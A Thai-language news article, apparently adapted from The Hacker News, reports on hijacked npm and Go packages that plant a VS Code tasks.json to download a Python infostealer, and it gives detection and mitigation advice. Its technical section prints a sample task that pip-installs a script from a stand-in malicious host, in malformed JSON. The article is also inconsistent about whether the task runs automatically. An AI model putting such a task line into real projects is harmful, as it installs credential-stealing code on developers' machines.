
ที่มาภาพ: The Hacker News
npm และ Go Packages ถูกแฮกใช้ VS Code Tasks ติดตั้ง Python Infostealer
⚡ สรุป 30 วิ
นักวิจัยพบ npm สองแพ็กเกจและกลุ่ม Go packages ถูกแฮกโดยเพิ่มไฟล์ tasks.json ของ VS Code ซึ่งดาวน์โหลดและรันสคริปต์ Python เพื่อขโมยข้อมูล…
การวิจัยของนักวิเคราะห์ด้านความปลอดภัยไซเบอร์เผยว่ามี npm สองแพ็กเกจและกลุ่ม Go packages ที่ถูกแฮกเพื่อใช้ VS Code Tasks ในการติดตั้ง Python‑based information stealer บนโฮสต์ Windows, Linux และ macOS ที่ถูกทำลาย การโจมตีนี้หลีกเลี่ยงเส้นทางการทำงานปกติของ npm ผ่านสคริปต์ lifecycle ซึ่งอาจเป็นการพยายามให้สอดคล้องกับการเสริมความปลอดภัยของ npm v12 ตามที่บริษัท JFrog ระบุ
Overview
การโจมตีที่ถูกเปิดเผยนี้เป็นรูปแบบใหม่ที่ผสมผสานระหว่างแพ็กจ์ระบบจัดการโค้ด (npm, Go) กับเครื่องมือพัฒนา (VS Code) เพื่อนำรหัสอันตรายเข้าสู่ระบบเป้าหมาย นักวิจัยพบว่าเมื่อผู้ใช้ติดตั้งหรืออัปเดตแพ็กเกจที่ถูกแฮกแล้ว งานของ VS Code จะถูกเรียกใช้โดยอัตโนมัติและดาวน์โหลดสคริปต์ Python ที่ทำหน้าที่ขโมยข้อมูลส่วนบุคคล
ตามข้อมูลจาก JFrog การหลบหลีกการใช้สคริปต์ lifecycle ของ npm ทำให้การตรวจจับโดยเครื่องมือสแกนแบบดั้งเดิมมีประสิทธิภาพลดลง นอกจากนี้ การใช้ VS Code Tasks ยังช่วยให้มัลแวร์ทำงานบนหลายระบบปฏิบัติการโดยไม่ต้องพึ่งพาเครื่องมือเฉพาะของแต่ละแพลตฟอร์ม
Attack Vector
การแฮกเริ่มต้นจากการเข้าถึง npm registry และ Go module proxy โดยผู้โจมตีเปลี่ยนแปลงโค้ดของแพ็กเกจที่มีผู้ใช้จำนวนมาก การเปลี่ยนแปลงนี้ไม่ได้เพิ่มสคริปต์ lifecycle แต่เพิ่มไฟล์กำหนดงานของ VS Code (tasks.json) ที่เรียกใช้คำสั่งดาวน์โหลดและรันไฟล์ Python ผ่าน `pip` หรือ `python`
เมื่อผู้ใช้เปิดโครงการใน VS Code และมีไฟล์ tasks.json อยู่ในโฟลเดอร์โครงการ VS Code จะตรวจสอบและแสดงรายการงานที่กำหนดไว้ หากผู้ใช้เลือกรันงานนั้นโดยไม่ระวัง งานจะดาวน์โหลด payload จากเซิร์ฟเวอร์ควบคุมของผู้โจมตีและทำการติดตั้งบนเครื่องของผู้ใช้
การโจมตีนี้ถูกออกแบบให้ทำงานได้บน Windows, Linux, macOS โดยใช้คำสั่งที่เป็นมาตรฐานของ Python ทำให้มัลแวร์สามารถหลบหลีกการตรวจจับของระบบปฏิบัติการและซอฟต์แวร์ป้องกันที่พึ่งพาการตรวจจับตามพฤติกรรมเฉพาะ
Technical Details
ไฟล์ tasks.json ที่ถูกแทรกเข้ามามีโครงสร้างคล้ายกับงานอัตโนมัติทั่วไป เช่น การคอมไพล์หรือการรันสคริปต์ทดสอบ แต่ภายในมีคำสั่งเช่น
```json { "labelinstall‑malware", "typeshell", "commandpython -m pip install https://malicious.example.com/stealer.py" } ```
เมื่อรัน คำสั่งนี้จะดาวน์โหลดไฟล์ Python ที่ทำหน้าที่เป็น infostealer โดยมีฟังก์ชันหลักคือการเก็บข้อมูลประจำตัว (credentials), คุกกี้เว็บ, ไฟล์คอนฟิกของแอปพลิเคชัน และอาจส่งข้อมูลเหล่านั้นกลับไปยังเซิร์ฟเวอร์ C2
นอกจากนี้ แพ็กเกจ Go ที่ถูกแฮกทำหน้าที่เป็น loader ที่สร้างไฟล์ `tasks.json` ขึ้นโดยอัตโนมัติเมื่อมีการติดตั้งหรืออัปเดตแพ็กเกจนั้น การทำงานของ Go loader นี้ใช้ฟังก์ชันการเขียนไฟล์ของระบบไฟล์ทั่วไป ทำให้การตรวจจับโดยการสแกนแพ็กเกจ Go ยากขึ้น
Detection & Mitigation
เพื่อป้องกันไม่ให้ระบบติดเชื้อ ผู้ดูแลระบบและนักพัฒนาควรดำเนินการตามขั้นตอนต่อไปนี้
- ตรวจสอบ npm registry และ Go module proxy อย่างสม่ำเสมอสำหรับการเปลี่ยนแปลงที่ไม่ได้รับอนุญาต
- ปิดการทำงานอัตโนมัติของ VS Code Tasks ที่มาจากโฟลเดอร์โครงการที่ไม่ได้เชื่อถือ
- ใช้เครื่องมือสแกนที่รองรับการตรวจจับไฟล์ `tasks.json` ที่มีคำสั่งดาวน์โหลดหรือรันสคริปต์จาก URL ภายนอก
- ปรับการตั้งค่า npm ให้เปิดใช้งาน `audit` และตรวจสอบผลลัพธ์ทุกครั้งก่อนทำการติดตั้งหรืออัปเดตแพ็กเกจ
การอัปเดต npm ไปเป็นเวอร์ชันล่าสุด (รวมถึง npm v12 หรือใหม่กว่า) ยังคงไม่รับประกันว่าจะปลอดภัยโดยสมบูรณ์ หากผู้โจมตียังคงใช้วิธีการหลีกเลี่ยงสคริปต์ lifecycle ดังกล่าว
Impact & Response
ตามข้อมูลเริ่มต้นของ JFrog การโจมตีนี้อาจส่งผลต่อผู้ใช้ที่ติดตั้งแพ็กเกจ npm หรือ Go จากแหล่งที่เชื่อถือได้แต่มีการแฮกอยู่แล้ว จำนวนผู้ได้รับผลกระทบยังไม่มีการเปิดเผยอย่างเป็นทางการ อย่างไรก็ตาม การขโมยข้อมูลส่วนบุคคลโดยใช้ Python infostealer สามารถนำไปสู่การละเมิดความเป็นส่วนตัวและการโจรกรรมข้อมูลทางการเงินได้
บริษัทที่ให้บริการ npm registry และ Go module proxy ได้รับการแจ้งเตือนและกำลังดำเนินการลบแพ็กเกจที่เป็นอันตรายออกจากระบบ พร้อมเผยประกาศให้ผู้พัฒนาตรวจสอบและอัปเดตแพ็กเกจของตนอย่างเร่งด่วน ผู้ใช้ที่สงสัยว่ามีการติดตั้งแพ็กเกจที่อาจถูกแฮกควรตรวจสอบประวัติการติดตั้งและลบไฟล์ `tasks.json` ที่ไม่จำเป็นออกจากโครงการ
Analysis
การใช้ VS Code Tasks เป็นช่องทางใหม่ของมัลแวร์ทำให้การป้องกันในระดับแพ็กเกจเดิม (เช่น การตรวจสอบสคริปต์ lifecycle) ไม่เพียงพอ นักวิจัยชี้ว่าการรวมเครื่องมือพัฒนาเข้ากับกระบวนการจัดการแพ็กเกจอาจเปิดช่องโหว่ที่ซับซ้อนยิ่งขึ้น เนื่องจากนักพัฒนามักให้ความไว้วางใจต่อไฟล์คอนฟิกของ IDE
การหลีกเลี่ยงการใช้สคริปต์ lifecycle ของ npm ยังเป็นสัญญาณว่าผู้โจมตีได้ทำการศึกษาแนวทางการเสริมความปลอดภัยของ npm อย่างละเอียดและพยายามหาจุดบอดที่ยังไม่ได้รับการปิดกั้น การตอบสนองที่สำคัญคือการปรับปรุงเครื่องมือสแกนให้ครอบคลุมการตรวจจับไฟล์คอนฟิก IDE และการทำงานของ loader ที่มาจากภาษาต่าง ๆ เช่น Go
Summary
การแฮกแพ็กเกจ npm และ Go ที่ใช้ VS Code Tasks เพื่อนำ Python infostealer ไปสู่ระบบหลายแพลตฟอร์มแสดงถึงแนวทางโจมตีที่ซับซ้อนและหลบหลีกการตรวจจับแบบเดิม ผู้ใช้ควรตรวจสอบไฟล์คอนฟิกของ IDE และอัปเดตเครื่องมือความปลอดภัยให้ครอบคลุมการทำงานของ loader ใหม่ ๆ อย่างต่อเนื่อง.
แชร์บทความนี้:
ชอบบทความแบบนี้?
สมัคร AI Automate Weekly Newsletter — รับเคล็ดลับ AI + how-to ใหม่
ทุกสัปดาห์ตรงถึง inbox ฟรี ไม่มีสแปม
แหล่งข่าวต้นฉบับ
- ชื่อต้นฉบับ
- Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer
- ผู้เขียน
- [email protected] (The Hacker News)
- แหล่ง
- The Hacker News
- วันที่เผยแพร่
- 29 มิถุนายน 2569 เวลา 12:36



